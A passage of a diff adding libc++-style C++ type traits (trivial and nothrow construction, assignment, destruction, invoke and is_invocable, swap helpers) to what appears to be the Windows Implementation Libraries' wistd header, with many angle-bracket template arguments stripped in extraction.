__WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&&> +#else + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp> +#endif + : integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&> + : integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&> + : integral_constant::value> + { + }; + +#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE + +#else // __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible + : false_type + { + }; + +#if __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE || __WI_GNUC_VER >= 501 + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, __is_construct::__nat, + __is_construct::__nat> + : integral_constant + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp, + __is_construct::__nat> + : integral_constant + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&, + __is_construct::__nat> + : integral_constant + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&, + __is_construct::__nat> + : integral_constant + { + }; + +#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, __is_construct::__nat, + __is_construct::__nat> + : integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp, + __is_construct::__nat> + : integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&, + __is_construct::__nat> + : integral_constant::value> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&, + __is_construct::__nat> + : integral_constant::value> + { + }; + +#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_constructible_v + = is_trivially_constructible<_Tp, _Args...>::value; +#endif + + // is_trivially_default_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_default_constructible + : public is_trivially_constructible<_Tp> + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_default_constructible_v + = is_trivially_default_constructible<_Tp>::value; +#endif + + // is_trivially_copy_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copy_constructible + : public is_trivially_constructible<_Tp, typename add_lvalue_reference::type> + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copy_constructible_v + = is_trivially_copy_constructible<_Tp>::value; +#endif + + // is_trivially_move_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_move_constructible +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + : public is_trivially_constructible<_Tp, typename add_rvalue_reference<_Tp>::type> +#else + : public is_trivially_copy_constructible<_Tp> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_move_constructible_v + = is_trivially_move_constructible<_Tp>::value; +#endif + + // is_trivially_assignable + +#if __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE || __WI_GNUC_VER >= 501 + + template + struct is_trivially_assignable + : integral_constant + { + }; + +#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE + + template + struct is_trivially_assignable + : public false_type {}; + + template + struct is_trivially_assignable<_Tp&, _Tp> + : integral_constant::value> {}; + + template + struct is_trivially_assignable<_Tp&, _Tp&> + : integral_constant::value> {}; + + template + struct is_trivially_assignable<_Tp&, const _Tp&> + : integral_constant::value> {}; + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + struct is_trivially_assignable<_Tp&, _Tp&&> + : integral_constant::value> {}; + +#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + +#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_assignable_v + = is_trivially_assignable<_Tp, _Arg>::value; +#endif + + // is_trivially_copy_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copy_assignable + : public is_trivially_assignable::type, + typename add_lvalue_reference::type>::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copy_assignable_v + = is_trivially_copy_assignable<_Tp>::value; +#endif + + // is_trivially_move_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_move_assignable + : public is_trivially_assignable::type, +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + typename add_rvalue_reference<_Tp>::type> +#else + typename add_lvalue_reference<_Tp>::type> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_move_assignable_v + = is_trivially_move_assignable<_Tp>::value; +#endif + + // is_trivially_destructible + +#if __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible + : public integral_constant::value && __has_trivial_destructor(_Tp)> {}; + +#else + + template struct __libcpp_trivial_destructor + : public integral_constant::value || + is_reference<_Tp>::value> {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible + : public __libcpp_trivial_destructor::type> {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible<_Tp[]> + : public false_type {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_destructible_v + = is_trivially_destructible<_Tp>::value; +#endif + + // is_nothrow_constructible + +#if 0 + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible + : public integral_constant + { + }; + +#else + +#ifndef __WI_LIBCPP_HAS_NO_VARIADICS + +#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L) + + template struct __libcpp_is_nothrow_constructible; + + template + struct __libcpp_is_nothrow_constructible + : public integral_constant()...))> + { + }; + + template + void __implicit_conversion_to(_Tp) noexcept { } + + template + struct __libcpp_is_nothrow_constructible + : public integral_constant(declval<_Arg>()))> + { + }; + + template + struct __libcpp_is_nothrow_constructible + : public false_type + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible + : __libcpp_is_nothrow_constructible::value, is_reference<_Tp>::value, _Tp, _Args...> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp[_Ns]> + : __libcpp_is_nothrow_constructible::value, is_reference<_Tp>::value, _Tp> + { + }; + +#else // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible + : false_type + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp> +#if __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&&> +#else + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp> +#endif +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, const _Tp&> +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&> +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + +#endif // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) + +#else // __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible + : false_type + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, __is_construct::__nat, + __is_construct::__nat> +#if __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp, + __is_construct::__nat> +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, const _Tp&, + __is_construct::__nat> +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&, + __is_construct::__nat> +#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS +#endif // __has_feature(is_nothrow_constructible) + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_constructible_v + = is_nothrow_constructible<_Tp, _Args...>::value; +#endif + + // is_nothrow_default_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_default_constructible + : public is_nothrow_constructible<_Tp> + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_default_constructible_v + = is_nothrow_default_constructible<_Tp>::value; +#endif + + // is_nothrow_copy_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_copy_constructible + : public is_nothrow_constructible<_Tp, + typename add_lvalue_reference::type>::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_copy_constructible_v + = is_nothrow_copy_constructible<_Tp>::value; +#endif + + // is_nothrow_move_constructible + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_move_constructible +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + : public is_nothrow_constructible<_Tp, typename add_rvalue_reference<_Tp>::type> +#else + : public is_nothrow_copy_constructible<_Tp> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_move_constructible_v + = is_nothrow_move_constructible<_Tp>::value; +#endif + + // is_nothrow_assignable + +#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L) + + template struct __libcpp_is_nothrow_assignable; + + template + struct __libcpp_is_nothrow_assignable + : public false_type + { + }; + + template + struct __libcpp_is_nothrow_assignable + : public integral_constant() = declval<_Arg>()) > + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable + : public __libcpp_is_nothrow_assignable::value, _Tp, _Arg> + { + }; + +#else // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable + : public false_type {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, _Tp> +#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN + : integral_constant {}; +#else + : integral_constant::value> {}; +#endif + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, _Tp&> +#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN + : integral_constant {}; +#else + : integral_constant::value> {}; +#endif + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, const _Tp&> +#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN + : integral_constant {}; +#else + : integral_constant::value> {}; +#endif + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + struct is_nothrow_assignable<_Tp&, _Tp&&> +#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN + : integral_constant {}; +#else + : integral_constant::value> {}; +#endif + +#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + +#endif // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_assignable_v + = is_nothrow_assignable<_Tp, _Arg>::value; +#endif + + // is_nothrow_copy_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_copy_assignable + : public is_nothrow_assignable::type, + typename add_lvalue_reference::type>::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_copy_assignable_v + = is_nothrow_copy_assignable<_Tp>::value; +#endif + + // is_nothrow_move_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_move_assignable + : public is_nothrow_assignable::type, +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + typename add_rvalue_reference<_Tp>::type> +#else + typename add_lvalue_reference<_Tp>::type> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_move_assignable_v + = is_nothrow_move_assignable<_Tp>::value; +#endif + + // is_nothrow_destructible + +#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L) + + template struct __libcpp_is_nothrow_destructible; + + template + struct __libcpp_is_nothrow_destructible + : public false_type + { + }; + + template + struct __libcpp_is_nothrow_destructible + : public integral_constant().~_Tp()) > + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible + : public __libcpp_is_nothrow_destructible::value, _Tp> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp[_Ns]> + : public is_nothrow_destructible<_Tp> + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp&> + : public true_type + { + }; + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp&&> + : public true_type + { + }; + +#endif + +#else + + template struct __libcpp_nothrow_destructor + : public integral_constant::value || + is_reference<_Tp>::value> {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible + : public __libcpp_nothrow_destructor::type> {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp[]> + : public false_type {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_destructible_v + = is_nothrow_destructible<_Tp>::value; +#endif + + // is_pod + +#if __WI_HAS_FEATURE_IS_POD || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_pod + : public integral_constant {}; + +#else + + template struct __WI_LIBCPP_TEMPLATE_VIS is_pod + : public integral_constant::value && + is_trivially_copy_constructible<_Tp>::value && + is_trivially_copy_assignable<_Tp>::value && + is_trivially_destructible<_Tp>::value> {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_pod_v + = is_pod<_Tp>::value; +#endif + + // is_literal_type; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_literal_type +#ifdef __WI_LIBCPP_IS_LITERAL + : public integral_constant +#else + : integral_constant::type>::value || + is_reference::type>::value> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_literal_type_v + = is_literal_type<_Tp>::value; +#endif + + // is_standard_layout; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_standard_layout +#if __WI_HAS_FEATURE_IS_STANDARD_LAYOUT || (__WI_GNUC_VER >= 407) + : public integral_constant +#else + : integral_constant::type>::value> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_standard_layout_v + = is_standard_layout<_Tp>::value; +#endif + + // is_trivially_copyable; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copyable +#if __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE + : public integral_constant +#elif __WI_GNUC_VER >= 501 + : public integral_constant::value && __is_trivially_copyable(_Tp)> +#else + : integral_constant::type>::value> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copyable_v + = is_trivially_copyable<_Tp>::value; +#endif + + // is_trivial; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_trivial +#if __WI_HAS_FEATURE_IS_TRIVIAL || __WI_GNUC_VER >= 407 + : public integral_constant +#else + : integral_constant::value && + is_trivially_default_constructible<_Tp>::value> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivial_v + = is_trivial<_Tp>::value; +#endif + + template struct __is_reference_wrapper_impl : public false_type {}; + template struct __is_reference_wrapper_impl > : public true_type {}; + template struct __is_reference_wrapper + : public __is_reference_wrapper_impl::type> {}; + +#ifndef __WI_LIBCPP_CXX03_LANG + + template ::type, + class _DecayA0 = typename decay<_A0>::type, + class _ClassT = typename __member_pointer_class_type<_DecayFp>::type> + using __enable_if_bullet1 = typename enable_if + < + is_member_function_pointer<_DecayFp>::value + && is_base_of<_ClassT, _DecayA0>::value + >::type; + + template ::type, + class _DecayA0 = typename decay<_A0>::type> + using __enable_if_bullet2 = typename enable_if + < + is_member_function_pointer<_DecayFp>::value + && __is_reference_wrapper<_DecayA0>::value + >::type; + + template ::type, + class _DecayA0 = typename decay<_A0>::type, + class _ClassT = typename __member_pointer_class_type<_DecayFp>::type> + using __enable_if_bullet3 = typename enable_if + < + is_member_function_pointer<_DecayFp>::value + && !is_base_of<_ClassT, _DecayA0>::value + && !__is_reference_wrapper<_DecayA0>::value + >::type; + + template ::type, + class _DecayA0 = typename decay<_A0>::type, + class _ClassT = typename __member_pointer_class_type<_DecayFp>::type> + using __enable_if_bullet4 = typename enable_if + < + is_member_object_pointer<_DecayFp>::value + && is_base_of<_ClassT, _DecayA0>::value + >::type; + + template ::type, + class _DecayA0 = typename decay<_A0>::type> + using __enable_if_bullet5 = typename enable_if + < + is_member_object_pointer<_DecayFp>::value + && __is_reference_wrapper<_DecayA0>::value + >::type; + + template ::type, + class _DecayA0 = typename decay<_A0>::type, + class _ClassT = typename __member_pointer_class_type<_DecayFp>::type> + using __enable_if_bullet6 = typename enable_if + < + is_member_object_pointer<_DecayFp>::value + && !is_base_of<_ClassT, _DecayA0>::value + && !__is_reference_wrapper<_DecayA0>::value + >::type; + + // __invoke forward declarations + + // fall back - none of the bullets + +#define __WI_LIBCPP_INVOKE_RETURN(...) \ + __WI_NOEXCEPT_(__WI_NOEXCEPT_(__VA_ARGS__)) -> decltype(__VA_ARGS__) \ + { return __VA_ARGS__; } + + template + auto __invoke(__any, _Args&& ...__args) -> __nat; + + template + auto __invoke_constexpr(__any, _Args&& ...__args) -> __nat; + + // bullets 1, 2 and 3 + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN((wistd::forward<_A0>(__a0).*__f)(wistd::forward<_Args>(__args)...)) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN((wistd::forward<_A0>(__a0).*__f)(wistd::forward<_Args>(__args)...)) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN((__a0.get().*__f)(wistd::forward<_Args>(__args)...)) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN((__a0.get().*__f)(wistd::forward<_Args>(__args)...)) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN(((*wistd::forward<_A0>(__a0)).*__f)(wistd::forward<_Args>(__args)...)) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN(((*wistd::forward<_A0>(__a0)).*__f)(wistd::forward<_Args>(__args)...)) + + // bullets 4, 5 and 6 + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_A0>(__a0).*__f) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_A0>(__a0).*__f) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN(__a0.get().*__f) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN(__a0.get().*__f) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN((*wistd::forward<_A0>(__a0)).*__f) + + template > + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _A0&& __a0) + __WI_LIBCPP_INVOKE_RETURN((*wistd::forward<_A0>(__a0)).*__f) + + // bullet 7 + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + auto + __invoke(_Fp&& __f, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_Fp>(__f)(wistd::forward<_Args>(__args)...)) + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR auto + __invoke_constexpr(_Fp&& __f, _Args&& ...__args) + __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_Fp>(__f)(wistd::forward<_Args>(__args)...)) + +#undef __WI_LIBCPP_INVOKE_RETURN + + // __invokable + + template + struct __invokable_r + { + // FIXME: Check that _Ret, _Fp, and _Args... are all complete types, cv void, + // or incomplete array types as required by the standard. + using _Result = decltype( + __invoke(declval<_Fp>(), declval<_Args>()...)); + + using type = + typename conditional< + !is_same<_Result, __nat>::value, + typename conditional< + is_void<_Ret>::value, + true_type, + is_convertible<_Result, _Ret> + >::type, + false_type + >::type; + static const bool value = type::value; + }; + + template + using __invokable = __invokable_r; + + template + struct __nothrow_invokable_r_imp { + static const bool value = false; + }; + + template + struct __nothrow_invokable_r_imp + { + typedef __nothrow_invokable_r_imp _ThisT; + + template + static void __test_noexcept(_Tp) noexcept; + + static const bool value = noexcept(_ThisT::__test_noexcept<_Ret>( + __invoke(declval<_Fp>(), declval<_Args>()...))); + }; + + template + struct __nothrow_invokable_r_imp + { + static const bool value = noexcept( + __invoke(declval<_Fp>(), declval<_Args>()...)); + }; + + template + using __nothrow_invokable_r = + __nothrow_invokable_r_imp< + __invokable_r<_Ret, _Fp, _Args...>::value, + is_void<_Ret>::value, + _Ret, _Fp, _Args... + >; + + template + using __nothrow_invokable = + __nothrow_invokable_r_imp< + __invokable<_Fp, _Args...>::value, + true, void, _Fp, _Args... + >; + + template + struct __invoke_of + : public enable_if< + __invokable<_Fp, _Args...>::value, + typename __invokable_r::_Result> + { + }; + + // result_of + + template + class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fp(_Args...)> + : public __invoke_of<_Fp, _Args...> + { + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using result_of_t = typename result_of<_Tp>::type; +#endif + +#if __WI_LIBCPP_STD_VER > 14 + + // invoke_result + + template + struct __WI_LIBCPP_TEMPLATE_VIS invoke_result + : __invoke_of<_Fn, _Args...> + { + }; + + template + using invoke_result_t = typename invoke_result<_Fn, _Args...>::type; + + // is_invocable + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_invocable + : integral_constant::value> {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_invocable_r + : integral_constant::value> {}; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_invocable_v + = is_invocable<_Fn, _Args...>::value; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_invocable_r_v + = is_invocable_r<_Ret, _Fn, _Args...>::value; + + // is_nothrow_invocable + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_invocable + : integral_constant::value> {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_invocable_r + : integral_constant::value> {}; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_invocable_v + = is_nothrow_invocable<_Fn, _Args...>::value; + + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_invocable_r_v + = is_nothrow_invocable_r<_Ret, _Fn, _Args...>::value; + +#endif // __WI_LIBCPP_STD_VER > 14 + +#endif // !defined(__WI_LIBCPP_CXX03_LANG) + + template struct __is_swappable; + template struct __is_nothrow_swappable; + + template + inline __WI_LIBCPP_INLINE_VISIBILITY +#ifndef __WI_LIBCPP_CXX03_LANG + typename enable_if + < + is_move_constructible<_Tp>::value && + is_move_assignable<_Tp>::value + >::type +#else + void +#endif + swap_wil(_Tp& __x, _Tp& __y) __WI_NOEXCEPT_(is_nothrow_move_constructible<_Tp>::value && + is_nothrow_move_assignable<_Tp>::value) + { + _Tp __t(wistd::move(__x)); + __x = wistd::move(__y); + __y = wistd::move(__t); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + _ForwardIterator2 + swap_ranges_wil(_ForwardIterator1 __first1, _ForwardIterator1 __last1, _ForwardIterator2 __first2) + { + for(; __first1 != __last1; ++__first1, (void) ++__first2) + swap_wil(*__first1, *__first2); + return __first2; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + typename enable_if< + __is_swappable<_Tp>::value + >::type + swap_wil(_Tp (&__a)[_Np], _Tp 